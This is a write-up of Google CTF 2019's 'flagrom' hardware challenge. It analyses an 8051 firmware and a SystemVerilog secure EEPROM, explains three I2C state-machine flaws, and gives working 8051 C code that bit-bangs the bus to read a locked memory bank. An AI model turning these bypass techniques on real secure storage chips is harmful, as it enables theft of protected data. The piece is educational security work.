flagrom

In Google’s 2019 CTF competition, a few hardware challenges were introduced. This is a detailed write-up for the flagrom challenge.

If you’re only interested in the bugs and the solution – there’s a TL;DR section for you! 🙂

First, we will go over the files the challenge presents, dissect them, and try to understand what we’re up against.

Once we’ve established that, we’ll understand how everything is supposed to work, and how to break it.

Finally, we’ll show the bugs and our way of solving the challenge.

We’ve tried to explain the challenge in detail, but not bloat it with code – we hope we nailed it – feedbacks are most welcome! If you spot any mistakes – please let us know!

The challenge requires knowledge in Verilog and I2C. If you are not familiar with these – we’ve tried to cover these subjects briefly in Appendices A and B accordingly, to help you gain the minimal knowledge required in order to understand and solve the challenge.

The implementation of our solution is written in C and Python.

We hope you’ll find this both fun and educating as we did 🙂 – Thanks Google for a great CTF, we enjoyed the ride!

TL;DR – Show me the money (SPOILERS)

If you’re only interested in what went wrong, here’s a summary for you:

  • i2c_address_valid in seeprom.sv is not properly set in the state machine and the check could be bypassed by jumping right to I2C_START.
  • I2C_READ does not check if the current read address is secure or not – only that we don’t cross secure and non-secure bank boundaries.
  • RAW_I2C_SCL and RAW_I2C_SDA lines are available – we can bit-bang them to bypass the MMIO interface and talk directly to the I2C bus (this mimics connecting to the bus physically).
  • The solution is to start reading a byte from the first block, securing it, and then keep on reading until the end of the second block. This works if we create our own interface using the I2C lines, and skip the “stop” action / force a start to jump without resetting i2c_address_valid.

You can jump right to the end where we present the bugs in details and the exploit code.

What are we up against?

Analyzing the files

Clicking on the challenge, we are faced with the following message:

This 8051 board has a SecureEEPROM installed. It's obvious the flag is stored there. Go and get it.

8051? SecureEEPROM? OK, that doesn’t sound so bad, let’s grab those files!

The zip archive contains 4 files:

  • firmware.8051
  • firmware.c
  • flagrom
  • seeprom.sv

Let’s start with the obvious – firmware.c is some C source code. seeprom.sv is SystemVerilog – “what is .sv file” – first answer on Google, and anyone who knows Verilog would recognize that syntax. firmware.8051 is a binary blob. The suffix suggests this is some 8051 firmware file. flagrom is an ELF we can run. When we run it, we are asked to present a proof-of-work, just like we would if we’d try to connect to the real server (nc flagrom.ctfcompetition.com 1337), so we can assume that is the actual challenge running on the server.

Running the challenge

The proof-of-work can be computed pretty easily with the following Python code:

def get_pow(prefix):
    m = hashlib.md5()
    for c1 in string.printable:
        for c2 in string.printable:
            for c3 in string.printable:
                for c4 in string.printable:
                    for c5 in string.printable:
                        s = 'flagrom-' + c1 + c2 + c3 + c4 + c5
                        if hashlib.md5(s).hexdigest().startswith(prefix):
                            return s

This mechanism is in place so people won’t overload the competition’s servers, so we won’t dwell on its efficiency.

Once we present our proof-of-work, we are asked to specify a payload length, and then send the payload:

What's the length of your payload?
5
12345
Executing firmware...
[FW] Writing flag to SecureEEPROM...............DONE
[FW] Securing SecureEEPROM flag banks...........DONE
[FW] Removing flag from 8051 memory.............DONE
[FW] Writing welcome message to SecureEEPROM....DONE
Executing usercode...

The information we can gather from this log:

  • We can upload our own code. Which code exactly and to what end, we still don’t know.
  • The flag is being written to a SecureEEPROM, its bank is getting secured, and then it’s removed from some 8051 memory.
  • Our code is seemingly getting executed after the flag was written to the SecureEEPROM.

We already have multiple evidence to suggest that the code we need to upload is in fact 8051 assembly, and we can confirm our assumption by uploading the firmware.8051 file and see what happens. Before we do just that – let’s see what the file contains, to better understand the effect of the file we’re about to upload.

Analyzing the firmware files

ubuntu@ubuntu:~/ctfs/google2019/flagrom$ file firmware.8051 
firmware.8051: data

running file command does not yield any helpful hint here, so let’s take a hex-look (xxd firmware.8051 | less). We won’t show the hex-dump for brevity, but besides some hex-bytes which are probably 8051 code, we are being greeted with some strings:

ubuntu@ubuntu:~/ctfs/google2019/flagrom$ strings firmware.8051
`.t@/
`,t@/
[FW] Writing flag to SecureEEPROM...............
VERIFY FAIL
DONE
[FW] Securing SecureEEPROM flag banks...........
[FW] Removing flag from 8051 memory.............
Hello there.
[FW] Writing welcome message to SecureEEPROM....

These seem rather familiar… We just saw them being printed after we finished uploading our payload! Before we jump right in to IDA, there’s another file file we need to pay a visit to – firmware.c. Once you take a short glance at the code, it’s quickly apparent that these strings are present there as well, and we can carefully assume that the firmware.8051 file is in fact a 8051 compiled version for firmware.c. There’s no point in showing the whole source code here, so we’ll assume you have it handy, and elaborate where necessary.

main calls 4 functions:

  write_flag();
  secure_banks();
  remove_flag();
  write_welcome();

The names are pretty self-explanatory, so we’ll cover the important parts one by one.

write_flag

write_flag uses the seeprom_write_byte function:

void seeprom_write_byte(unsigned char addr, unsigned char value) {
  seeprom_wait_until_idle();

  I2C_ADDR = SEEPROM_I2C_ADDR_MEMORY;
  I2C_LENGTH = 2;
  I2C_ERROR_CODE = 0;
  I2C_DATA[0] = addr;
  I2C_DATA[1] = value;
  I2C_RW_MASK = 0b00;  // 2x Write Byte

  I2C_STATE = 1;
  seeprom_wait_until_idle();
}

The function has two arguments – one address byte, and one data byte. It then uses what seems like MMIO in the CPU, to communicate with an I2C controller, which in turn communicates with the SecureEEPROM. In case it isn’t clear:

|-----|   |----------------|   |---------|
| CPU |-->| I2C Controller |-->| SEEPROM |
|-----|   |----------------|   |---------|

(From now on we’ll use SecureEEPROM / SEEPROM interchangeably).

How do we know that?

  • The code specifically mentions I2C… 🙂
  • The I2C_ADDR = SEEPROM_I2C_ADDR_MEMORY; line indicates we intend to communicate with the SEEPROM device.

If you are not familiar with I2C, you can refer to Appendix B of this write-up.

To clarify very briefly – you can imagine the I2C controller like a (very) small router. Multiple devices can be connected to it, and each device has an internal “I2C Address”. So when we want to communicate with device A, we need to specify “Talk to device A, Let him know that X”. Instead of using 4 bytes as IP addresses, it usually uses 7 bits for addressing, and one bit to specify write/read (0/1) operation. The communication is done on the I2C bus, which is simply 2 lines delivering a clock signal and data.

If we take a look at the beginning of the code, we can see these definitions:

// I2C-M module/chip control data structure.
__xdata __at(0xfe00) unsigned char I2C_ADDR; // 8-bit version.
__xdata __at(0xfe01) unsigned char I2C_LENGTH;  // At most 8 (excluding addr).
__xdata __at(0xfe02) unsigned char I2C_RW_MASK;  // 1 R, 0 W.
__xdata __at(0xfe03) unsigned char I2C_ERROR_CODE;  // 0 - no errors.
__xdata __at(0xfe08) unsigned char I2C_DATA[8];  // Don't repeat addr.
__sfr __at(0xfc) I2C_STATE;  // Read: 0 - idle, 1 - busy; Write: 1 - start

So indeed, an MMIO that provides an I2C communication interface.

In the seeprom_write_byte code, we specify that we want to communicate with the SEEPROM device (SEEPROM_I2C_ADDR_MEMORY), Writing 2 bytes to it – one address byte (I2C_DATA[0]), and one data byte (I2C_DATA[1]). Don’t let the various addresses confuse you! The I2C_ADDRESS is “package destination”, and the package contains I2C_DATA. Since our destination is an EEPROM device (a fancy name for storage device) – we want to let it know – go to your memory at address X (index), and write byte Y.

The other MMIO values are relatively self-explanatory:

  • I2C_LENGTH = 2; – We relay 2 bytes into the SEEPROM device
  • I2C_RW_MASK = 0b00; – We use the send operation twice to deliver data to the SEEPROM
  • I2C_STATE = 1; – Everything is ready to go – take the package and deliver it!

seeprom_wait_until_idle simply waits until the delivery operation is finished – the I2C controller changes the I2C_STATE back to 0 when it’s idle.

Back to write_flag – notice how it writes the flag:

seeprom_write_byte(64 + i, FLAG[i]);

The code writes the flag to the SEEPROM, starting at address 64, and the data written is taken from the “FLAG” global/MMIO –

__xdata __at(0xff00) unsigned char FLAG[0x100];

secure_banks

The next function main calls is secure_banks. It calls the seeprom_secure_banks like so:

seeprom_secure_banks(0b0010);  // Secure 64-byte bank with the flag.

The comment suggests the SEEPROM is divided into 64-byte storage banks – we’ll use that information later. Let’s take a look at what seeprom_secure_banks does:

void seeprom_secure_banks(unsigned char mask) {
  seeprom_wait_until_idle();

  I2C_ADDR = SEEPROM_I2C_ADDR_SECURE | (mask & 0b1111);
  I2C_LENGTH = 0;
  I2C_ERROR_CODE = 0;

  I2C_STATE = 1;
  seeprom_wait_until_idle();
}

This function seemingly addresses another device – SEEPROM_I2C_ADDR_SECURE (unlike the regular SEEPROM_I2C_ADDR_MEMORY), and the 4 lower bits are masked with our mask argument. The code does not seem to read or write anything from this device at all, so we can assume the mere action of “calling” this device does something – probably locks a bank to make it secure.. :).

The secure_banks function then attempts to verify it cannot read the flag it has just stored:

  // Verify that the flag can NOT be read.
  for (i = 0; FLAG[i] != '\0'; i++) {
    if (seeprom_read_byte(64 + i) == FLAG[i]) {
      print("VERIFY FAIL\n");
      POWEROFF = 1;
    }
  }

So this action has indeed secured the flag. In fact, it’s entire memory bank, starting at address 64, ending at 128 – since this a 64 byte bank. From the information we gathered so far, we can deduce there are 4 banks of 64-bytes each, every one of them can be secured individually. How do we know that?

  • The comment mentioned Secure 64-byte bank
  • The flag starts at address 64 (2nd bank), and the mask we provided to lock was 0010 – Second bit.

remove_flag & write_welcome

The rest of the code is relatively less interesting –
remove_flag removes the original flag from memory. This means the flag is still secure in the SEEPROM, but it is not available anymore in plain memory, nor it is possible to read it from the SEEPROM, since we secured the bank. This prevents an attempt to upload and execute 8051 code that will simply read the flag straight from memory, or attempt to read it from the SEEPROM.
write_welcome Simply writes a welcome message into the first SEEPROM bank (which is non-secure).

To sum everything up to this point – the firmware.c code does the following:

  • Reads a FLAG from some pre-mapped memory
  • Stores the flag in a SEEPROM bank using I2C
  • Secures the bank
  • Removes the FLAG from memroy

An alternative interface?

If we read the entire C code, 2 interesting MMIO addresses pop-up:

__sfr __at(0xfa) RAW_I2C_SCL;
__sfr __at(0xfb) RAW_I2C_SDA;

These provide access to the I2C controller clock and data lines. This is somewhat peculiar, as we already have a well-defined interface to communicate with the I2C controller. That’s our first clue – we can probably bit-bang these lines to communicate with the controller independently and hopefully break things.

In practice, this sort of mimics a scenario where an attacker has physical access to an I2C bus, something that is very well possible.

Analyzing flagrom & the challenge

Since we see the various strings from firmware.c being printed when running the flagrom file or connecting to the challenge server, we can assume it’s running this firmware somehow (it’s 8051, mind you – not x86).

Now let’s verify our assumptions with IDA:

int __cdecl main(int argc, const char **argv, const char **envp)
{
    ...

  read_proof_of_work();
  read_usercode();
  read_firmware();
  read_flag();
  dev_i2c = seeprom_new(v3, 0LL);
  seeprom_write_scl(dev_i2c, 1LL);
  seeprom_write_sda(dev_i2c, 1LL);
  puts("Executing firmware...");
  emu8051::emu8051((emu8051 *)&v5);
  init_emu((emu8051 *)&v5);
  emu8051::mem_write(&v5, 3LL, 0LL, &firmware, 10000);
  emu8051::mem_write(&v5, 2LL, 0xFF00LL, &flag, 128LL);
  memset(&flag, 0, 0x80uLL);
  done_marker = 0;
  while ( !done_marker )
    emu8051::execute((emu8051 *)&v5, 1u);
  emu8051::~emu8051((emu8051 *)&v5);
  remove_flag();
  puts("Executing usercode...");
  emu8051::emu8051((emu8051 *)&v5);
  init_emu((emu8051 *)&v5);
  emu8051::mem_write(&v5, 3LL, 0LL, &usercode, 10000);
  v6 = 100000;
  done_marker = 0;
  for ( i = 0; i <= 99999 && !done_marker; ++i )
    emu8051::execute((emu8051 *)&v5, 1u);
  emu8051::~emu8051((emu8051 *)&v5);
  seeprom_free(dev_i2c);
  puts("\nClean exit.");
  return 0;
}

So flagrom does the following:

  • Reads the proof-of-work.
  • Reads the usercode (that’s the code we are being asked to upload).
  • Reads the firmware file. A sneak peek tells us it reads the firmware.8051 file.
  • Reads the flag. A sneak peek tells the local copy of the flag is different 😉 – 0n the real server the flag is loaded here..
  • Starts the SEEPROM device. It does so by using Verilator. To quote the site – “Verilator compiles synthesizable SystemVerilog … into single- or multithreaded C++ or SystemC code”. So what probably happened is that seeprom.sv (which we know is SystemVerilog) was compiled with some magic powder to mimic a SEEPROM device in C code.
  • Initializes a 8051 emulator… Voila! Indeed 8051 CPU is being used here. The firmware is loaded into address 0 of the emulator, and the flag is loaded into address 0xFF00. If you’ll take a look back at FLAG definition in firmware.c – you’ll find it specifies __at(0xff00) – matching exactly the address where we see the flag is being written to.
  • Executes the original firmware.8051 file (which matches firmware.c)
  • Removes flag from memory, to make extra sure we don’t read the flag off the memory (even though the original firmware took care of it as well).
  • Executes the usercode which is supposed to be in 8051 assembly. This is where we go in, after the flag has been removed from plain memory and secured inside the SEEPROM.

At this point, we starting to grasp what is required of us. We have an example firmware.c file which we can start to modify, upload and execute to conduct experiments, and we know there’s a mysterious SEEPROM we need to haxx. It is very safe to assume we got the source code for the SEEPROM at seeprom.sv.

In case you want to play around and compile the firmware – this line should get you covered:

sdcc firmware.c -o firmware.o && objcopy -I ihex -O binary firmware.o my_firmware.8051

How does it work?

Analyzing SEEPROM implementation

As mentioned, SEEPROM is implemented in SystemVerilog. If you don’t know Verilog at all – we suggest reading Appendix A now, which attempts to explain Verilog using the seeprom.sv file.

A brief overview of code

Looking at the module, we see 4 lines – 3 input lines and 1 output line:

module seeprom (
  input i_clk,
  input logic i_i2c_scl,
  input logic i_i2c_sda,
  output logic o_i2c_sda
);
  • i_clk – This line receives master clock signal.
  • i_i2c_scl, i_i2c_sda – I2C bus input lines.
  • o_i2c_sda – I2C data output line.

So we know this module communicates using I2C. Coupled with our earlier knowledge about the challenge – it makes a lot of sense.

We’ll now explain the function of each of the various wires and registers in the module. Figuring this out takes some reading of the code (this process is not linear), but reading the code once you have reference is easier.

  • mem_storage – The actual storage;
  • mem_secure – 4 bits, probably the mask specifying whether a bank is secure or not;
  • i2c_address – Register containing the address we’re trying to write/read to/from
  • i2c_address_valid – Register specifying if the address is valid (???) – more on that, later ;).
  • i2c_address_secure, i2c_next_address_secure a wire, referring to the current/next bank mask, denoting if the address inside the i2c_address register is in a bank marked as secure.
  • i2c_address_bits, i2c_data_bits, i2c_control_bits – Counters, used to make sure we get 8 bits of data – and then operate.
  • i2c_control – A control byte – This register stores the first byte received from the I2C transaction, and is used to decide which action to perform.
  • i2c_control_prefix – The 4 msb of i2c_control. This yields the action we would like to perform – either I2C_CONTROL_EEPROM or I2C_CONTROL_SECURE – and conforms exactly to the 2 possibilities we saw earlier in firmware.c
  • i2c_data – A register used to store data for reading / writing bytes on the bus.
  • i2c_control_bank – The 4 lsb of i2c_control. When addressing I2C_CONTROL_SECURE this denotes which banks to lock. Again, this conforms exactly to the code found in seeprom_secure_banks.
  • i2c_control_rw – The lsb of i2c_control. When addressing I2C_CONTROL_EEPROM this denotes whether to do a write/read operation.

The next pieces of code that start with always_comb seem like some standard I2C bit bang / state entry, and do not contain any complicated logic. The only thing worth noting is that i2c_start and i2c_stop are controllable by setting the lines to a specific value. This will become useful later.

always_ff @(posedge i_clk) begin
  i2c_last_scl <= i_i2c_scl;
  i2c_last_sda <= i_i2c_sda;
end
always_comb begin
  if (i2c_scl_state == I2C_SCL_STABLE_HIGH) begin
    i2c_start = i2c_last_sda && !i_i2c_sda;
    i2c_stop = !i2c_last_sda && i_i2c_sda;
  end else begin
    i2c_start = 0;
    i2c_stop = 0;
  end
end

The actual interesting part of the code starts here:

always_ff @(posedge i_clk) begin
  ...
  case (i2c_state)
    I2C_IDLE: begin
      if (i2c_start) begin
        i2c_state <= I2C_START;
      end
    end
  ...

This is the core of the SEEPROM operation, and we want to analyze how it works and look for bugs.

Understanding SecureEEPROM operation

When developing in Verilog, we’re usually developing state-machines, that do specific tasks. When dealing with a state machine, it’s really helpful to draw a control-flow graph to start dissecting how it works. It also helps to spot potential problems. We know that the SEEPROM state machine has to perform an I2C operation, so I2C knowledge can greatly assist our understanding of what happens. Here’s a rough sketch of the SEEPROM state machine:

I2C_ACK  -\                                 [read 8 bits]    [send 8 bits]   [read 8 bits]     [read 8 bits]
I2C_NACK -----> I2C_IDLE -> I2C_START -> I2C_LOAD_CONTROL -|-> I2C_READ --> I2C_LOAD_ADDRESS -> I2C_WRITE --
                  ^              ^                         |      ^      |          ^                ^     |
                  |              |                         |      |-------          |                |------
i2c_stop ---------|   i2c_start -|                         -------------------------|

Missing here are transitions to ACK and NACK state, but almost every step in this chain can jump to ACK or NACK, if the action was valid or not. As mentioned, familiarity with I2C can be useful. If you are unfamiliar with I2C please refer to Appendix B.

Notice that i2c_stop and i2c_start operation can be triggered regardless of any previous state, by setting the bus lines to specific values.

Very simply – The I2C protocol looks like the following:
| ADDR | r/w | data |
| 7bit | 1bit | bytes.. |

As seen in firmware.c, we have 3 transaction types – which align with how the state machine operates:

  1. Write Data:
    The write operation consists of 1 control byte, 1 address byte, and variable number of data bytes:
           i2c_start    |      ADDR   | r/w |  |   Address to write (index) |  | Data |  | Data |  | Data |  | Data | | ... |
               |        |   1010000   |  0  |  |              64            |  |  A   |  |  A   |  |  A   |  |  A   | | ... |
               |        |        0xa0       |  |             0x40           |  | 0x41 |  | 0x41 |  | 0x41 |  | 0x41 | | ... |

IDLE  -->    START   -->   LOAD_CONTROL     --->        LOAD_ADDRESS      --->  WRITE                                         (`i2c_stop`) --> IDLE
  1. Secure Bank
    The secure bank operation consists of 1 control byte, which contains the “operation” and the mask. Somewhat less standard, but still works.
             i2c_start    |   ADDR   |  mask  |
                 |        |   0101   |  0010  |
                 |        |        0x52       | 

IDLE  -->      START   -->    LOAD_CONTROL              (`i2c_stop`)---> IDLE
  1. Read Data:
    The read operation is slightly more complicated – we send a 1 control byte to specify a write operation, writing an address to read from. Then, we send another control byte specifying we would like to perform a read operation. Afterwards we start reading bytes from the device.
             i2c_start    |      ADDR   | r/w |  |   Address to read (index)  |     i2c_start         |      ADDR   | r/w |  | Data | | Data | | Data | 
                 |        |   1010000   |  0  |  |              64            |          |            |   1010000   |  1  |  |  A   | |  A   | |  A   | 
                 |        |        0xa0       |  |             0x40           |          |            |        0xa1       |  | 0x41 | | 0x41 | | 0x41 | 

IDLE  -->      START   -->  LOAD_CONTROL      --->        LOAD_ADDRESS       --->      START   -->         LOAD_CONTROL   --->   READ                    (`i2c_stop`)--> IDLE

Things to notice:

  • We always start the operation by bit-banging to i2c_start. This sets i2c_start to 1 and starts the state machine operation.
  • A responsible user, should trigger the i2c_stop on the bus, once an operation is finished, to get the device back to an IDLE state properly.
  • The read operation is broken into 2 parts, which are seperated by sending the I2C_START operation again.

Looking for bugs…

We now have a relatively good understand of how every operation of the state machine is supposed to work. So where does it fail? Reminder: we need to bypass the security checks to read from a secure bank.

Bug #1 – A weird read

Once a bank is set as secured, it cannot be unset (follow the mem_secure assignments – you’ll see). So how is the security being enforced? The obvious place to look is the read operation:

...
i2c_data_bits <= 0;
if (i2c_address_secure == i2c_next_address_secure) begin
  `DEBUG_DISPLAY(("READ: i2c_address = 0x%x", i2c_address));
  i2c_address <= i2c_address + 1;
  i2c_state <= I2C_ACK_THEN_READ;
end else begin
  i2c_state <= I2C_NACK;
end
...

But it’s not quite the security check we’re looking for. The only thing the read operation verifies is that the current address security level is the same as the next address security level. This means we cannot start a read operation in a non-secure bank, and keep reading bytes into a secure bank (because address #63 security level does not match address #64 security level). If there’s a difference between the current address security level and the next one – we’ll get a NACK, and the read operation will cease.

But what if we could somehow reach this state with a secure i2c_address? The condition would still be satisfied between address #64 and #65. We would probably be able to read from secure memory – nothing stops us from doing that. That’s bug #1.

Bug #2 – Don’t stop till you get enough

How do we provide i2c_address with a secure address? i2c_address is being set in the I2C_LOAD_CONTROL operation, so let’s take a look at it:

I2C_LOAD_ADDRESS: begin
  ...
  if (i2c_address_bits == 8) begin
    if (i2c_address_secure) begin
      i2c_address_valid <= 0;
      i2c_state <= I2C_NACK;
    end else begin
      i2c_data_bits <= 0;
      i2c_address_valid <= 1;
      i2c_state <= I2C_ACK_THEN_WRITE;
    end
  end else if (i2c_scl_state == I2C_SCL_RISING) begin
    i2c_address <= {i2c_address[6:0], i_i2c_sda};
    i2c_address_bits <= i2c_address_bits + 1;
  end
end

When loading 8 bits specifying an address, a check is being made. If the address is secure, we set the i2c_address_valid register to 0 – this address is invalid for either reading or writing. Otherwise, it’s kosher and i2c_address_valid is set to 1. So we cannot just load a secure address and ask the SEEPROM to start spilling the beans.
i2c_address_valid is also being set to 0 once we specify i2c_stop. This makes sense, as it re-initializes the register. But who says we have to play nice and specify an i2c_stop operation?

If we avoid using stop, we might be able to keep the i2c_address_valid set to 1, possibly reading some secure bytes. That’s bug #2.

Bug #3 – Read & Lock

i2c_address is either being set in an I2C_LOAD_ADDRESS operation, or when reading/writing. When we read 1 byte, SEEPROM promotes i2c_address by 1 so we’ll be able to read the next byte, immediately, without specifically addressing it again. This allows us to read multiple bytes in a row. But like we’ve already seen – the i2c_address is not being evaluated to make sure it’s valid, or secure. Only that it’s security level matches the next security level.

So what happens if we start reading a non-secure bank, at some point set this bank as secure, and continue reading? Will the security of the current address get re-evaluated? The answer is surprisingly no, and that’s bug #3.

We can start reading a non-secure bank, set it as secure, and continue the read operation – since the i2c_address validity does not necessarily get re-evaluated.

Chaining everything together

To sum everything up, here’s the operation we want to pull of, with the accomodating explanation.

Reminder: The flag is present in the 2nd bank, which should allow us to start reading the first, non-secure bank, and overflow into the 2nd, secure bank. Here’s how:

  • Start a regular read operation at address 62:
  • I2C_LOAD_CONTROL (I2C_CONTROL_EEPROM | 0):
    • i2c_control_prefix is equal to I2C_CONTROL_EEPROM:
      • i2c_control_rw is set to 0 (write) -> goto I2C_LOAD_ADDRESS
  • I2C_LOAD_ADDRESS (61):
    • i2c_address_secure is 0 (this address is not in a secure bank):
      • set i2c_address_valid to 1
  • I2C_START -> I2C_LOAD_CONTROL
  • I2C_LOAD_CONTROL (I2C_CONTROL_EEPROM | 1):
    • i2c_control_prefix is equal to I2C_CONTROL_EEPROM:
      • i2c_control_rw is set to 1 (read):
        • i2c_address_valid is set to 1 -> goto I2C_ACK_THEN_READ
  • I2C_READ … read 1 byte
    • i2c_address++
  • I2C_START -> I2C_LOAD_CONTROL
  • I2C_LOAD_CONTROL (I2C_CONTROL_SECURE | 0b0001):
    • i2c_control_prefix is equal to I2C_CONTROL_SECURE:
      • OR mem_secure with mask – 0b0001 (i2c_control_bank) => mem_secure now has the value 0b0011
    (BUG – should’ve re-evaluated i2c_address_valid)
  • I2C_START -> I2C_LOAD_CONTROL (BUG – we didn’t call stop, i2c_address_valid is not zeroed)
  • I2C_LOAD_CONTROL (I2C_CONTROL_EEPROM | 1):
    • i2c_control_prefix is equal to I2C_CONTROL_EEPROM:
      • i2c_control_rw is set to 1 (read):
        • i2c_address_valid is set to 1 -> goto I2C_ACK_THEN_READ
  • I2C_READ … read as many bytes as you want from secure memory banks!
    • i2c_address++ …
    (BUG – READ only checks current address security (e.g. 62), equals to the next (e.g. 63). They’re both 1, meaning secure, meaning read == FAIL).

Implementing an attack

We now have full understanding of the bug, and an idea how to exploit it. But we’re not quite there yet – how exactly do we send these commands to the I2C controller? RAW_I2C_SCL and RAW_I2C_SDA to the rescue!
Instead of communicating through the “proper channels”, we are going to bit-bang the I2C protocol ourselves on the bus, just like an attacker with physical access would.

Bit-banging

So how do we pull off this bit-banging? Conveniently, Looking in IDA on the flagrom binary, we can spot functions that implement the I2C controller. It provides an example how to do just that. Shown below are the relevant functions:

__int64 __fastcall send_start(__int64 a1)
{
  seeprom_write_scl(a1, 0LL);
  seeprom_write_sda(a1, 1LL);
  seeprom_write_scl(a1, 1LL);
  return seeprom_write_sda(a1, 0LL);
}

__int64 __fastcall send_byte(__int64 a1, unsigned int a2)
{
  __int64 result; // rax@1
  signed int i; // [rsp+1Ch] [rbp-4h]@1

  result = a2;
  for ( i = 0; i <= 7; ++i )
  {
    seeprom_write_scl(a1, 0LL);
    seeprom_write_sda(a1, (((signed int)(unsigned __int8)a2 >> (7 - i)) & 1) != 0);
    result = seeprom_write_scl(a1, 1LL);
  }
  return result;
}

__int64 __fastcall recv_byte(__int64 a1)
{
  signed int i; // [rsp+18h] [rbp-18h]@1
  unsigned __int8 v3; // [rsp+1Fh] [rbp-11h]@1

  v3 = 0;
  for ( i = 0; i <= 7; ++i )
  {
    seeprom_write_scl(a1, 0LL);
    seeprom_write_scl(a1, 1LL);
    v3 = 2 * v3 | seeprom_read_sda(a1);
  }
  return v3;
}

__int64 __fastcall recv_ack(__int64 a1)
{
  int v1; // eax@1

  seeprom_write_scl(a1, 0LL);
  seeprom_write_scl(a1, 1LL);
  LOBYTE(v1) = seeprom_read_sda(a1);
  return v1 ^ 1u;
}

And this is how the implementaion in our exploit.c looks like:

unsigned char bitbang_recv_byte() {
  int i;
  char c;
  for (i = 0; i<= 7; ++i) {
    RAW_I2C_SCL = 0;
    RAW_I2C_SCL = 1;
    c = (c << 1) | RAW_I2C_SDA ;
  }
  return c;
}

void bitbang_send_byte(unsigned char data) {
  int i;
  for (i = 0; i<= 7; ++i) {
    RAW_I2C_SCL = 0;    
    RAW_I2C_SDA = ((data >> (7-i)) & 1);
    RAW_I2C_SCL = 1;
  }
}

char bitbang_recv_ack(void) {
  char val = 0;
  RAW_I2C_SCL = 0;
  RAW_I2C_SCL = 1;
  val = RAW_I2C_SDA ^ 1;
  return val;
}

void bitbang_start() {
   RAW_I2C_SCL = 0;
   RAW_I2C_SDA = 1;
   RAW_I2C_SCL = 1;
   RAW_I2C_SDA = 0;
}

Capture the Flag

We now have all the necessary primitives to conduct our attack. This is how it goes:

void bitbang_read_flag(unsigned char addr) {
  char c;
  int i = 0;
  // WRITE operation
  bitbang_start();
  bitbang_send_byte(SEEPROM_I2C_ADDR_MEMORY | 0); 
  bitbang_recv_ack();

  //LOAD address
  bitbang_send_byte(addr);
  bitbang_recv_ack();

  // READ 1 byte
  bitbang_start();
  bitbang_send_byte(SEEPROM_I2C_ADDR_MEMORY | 1); 
  bitbang_recv_ack();
  MYBUF[i] = bitbang_recv_byte();

  // SECURE address
  bitbang_start();
  bitbang_send_byte(SEEPROM_I2C_ADDR_SECURE | 0b0001);
  bitbang_recv_ack();

  // READ operation
  bitbang_start();
  bitbang_send_byte(SEEPROM_I2C_ADDR_MEMORY | 1);
  bitbang_recv_ack();

  // READ 64 bytes
  for (i=1; i<64; i++) {
    MYBUF[i] = bitbang_recv_byte();
    bitbang_recv_ack();
  }
}

//Prints a temporary 0x100 bytes buffer
void printMYBUFF()
{
  int i = 0;
  for(i=0; i<0x100; i++)
  {
    CHAROUT = MYBUF[i];
  }
}

void main(void) {
  int i;
  for (i = 0; i<0x100; ++i) {
    MYBUF[i] = 0x42;  
  }
  MYBUF[i] = 0;

  bitbang_read_flag(61);
  printMYBUFF();
  POWEROFF = 1;

}

…And with that, we’re finished! We can now grab the flag off the server.

Executing firmware...
[FW] Writing flag to SecureEEPROM...............DONE
[FW] Securing SecureEEPROM flag banks...........DONE
[FW] Removing flag from 8051 memory.............DONE
[FW] Writing welcome message to SecureEEPROM....DONE
Executing usercode...
\x00\x00\x00On the real server the flag is loaded here.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

Summary

This was a really nice challenge, which introduced cool HW exercises, in a comfortable SW environment. We hope to see more of these in the future :). Thanks again g00gle for the awesome CTF!

Even though the write-up is pretty “linear” in nature, it took us time figuring everything out, and we obviously made a lot of mistakes and guesses along the way… but that’s the fun part, isn’t it?

We hope that you’ve found this write-up educating, abd learned a little bit about HW, protocols, and analyzing Verilog code.

See you next year!

Appendix A. Verilog crash course using seeprom.sv example

The goal of this Appendix is not to make you Verilog expert, but rather provide you the minimal tools necessary to understand the seeprom.sv code. We won’t explain the whole code, just a few key examples taken from the code, which we believe will enable you to read the code yourself and understand its operation.

Verilog, unlike a programming language, is a hardware description language. This means it does not describe a program, but hardware. Hardware is made of wires, connecting point A to point B, logic gates – allowing us to implement some combinatorial logic, and flip-flops, allowing us to implement sequential logic.
Combinatorial logic happens at once (for the scope of our discussion). A circuit like A XOR B AND C is just some wires and gates connected together.
Sequential logic has a sense of time, and thus requires a clock. A register for example, stores or changes value over time.

In Verilog, we describe the logic we would like the hardware to perform. The code usually ends up as some state-machine, doing a specific task. There’s a nice reference slide here, and we’ll try to get you up to speed with the syntax, only to be able to read and understand the seeprom.sv operation – nothing more.

Let’s start with the module’s definition:

module seeprom (
  input i_clk,
  input logic i_i2c_scl,
  input logic i_i2c_sda,
  output logic o_i2c_sda
);

This section describes the circuit’s interface. Think of it as a black box that has input and output lines. Here we have 3 inputs and 1 output:

  • i_clk – This line receives master clock signal. This clock always ticks.
  • i_i2c_scl, i_i2c_sda – These lines are input lines representing data I2C clock line and I2C data line. The difference is that this clock has specific functions for I2C, while the previous one has to tick in order for the circuit to work.
  • o_i2c_sda – Data output line.
    We can only READ from an input line, and we can only WRITE to an output line.

All the rest of the logic defined in the file is internal logic inside the circuit.

Now let’s talk about the difference between wire and logic:

logic i2c_last_scl;
wire i2c_control_rw = i2c_control[0];
  • logic defines a register, which stores a value over time, and its value can change according to some logic.
  • wire defines a connection between A and B. In this example, i2c_control_rw is a wire, connected to the lsb of the i2c_control register.

Both registers, and wires, can have multiple bits, as shown in the examples below:

logic [3:0] mem_secure;
wire [3:0] i2c_control_bank = i2c_control[3:0];

In both these of examples, a 4-bit declaration is shown (0-3).

Now, how do we perform slightly more complicated logic than connecting some wires? That’s how:

always_ff @(posedge i_clk) begin
always_comb begin

An always clause specifies an action has to always take place, with respect to the operation. You can think of it like an endless loop. Either it’s a combinatorial operation (comb), or a sequential operation (ff – flip-flop). When specifying a sequential operation, we have to specify what’s the clock signal we evaluate – in this example – a tick is every positive edge of i_clk signal.

Assignments for wires and registers vary:

i2c_start = i2c_last_sda && !i_i2c_sda;
i2c_state <= I2C_START;

Pay attention that assigning value to a wire uses = while assigning to a register uses <=. We won’t explain the reason (you can look it up), only specify that the syntax is legal.

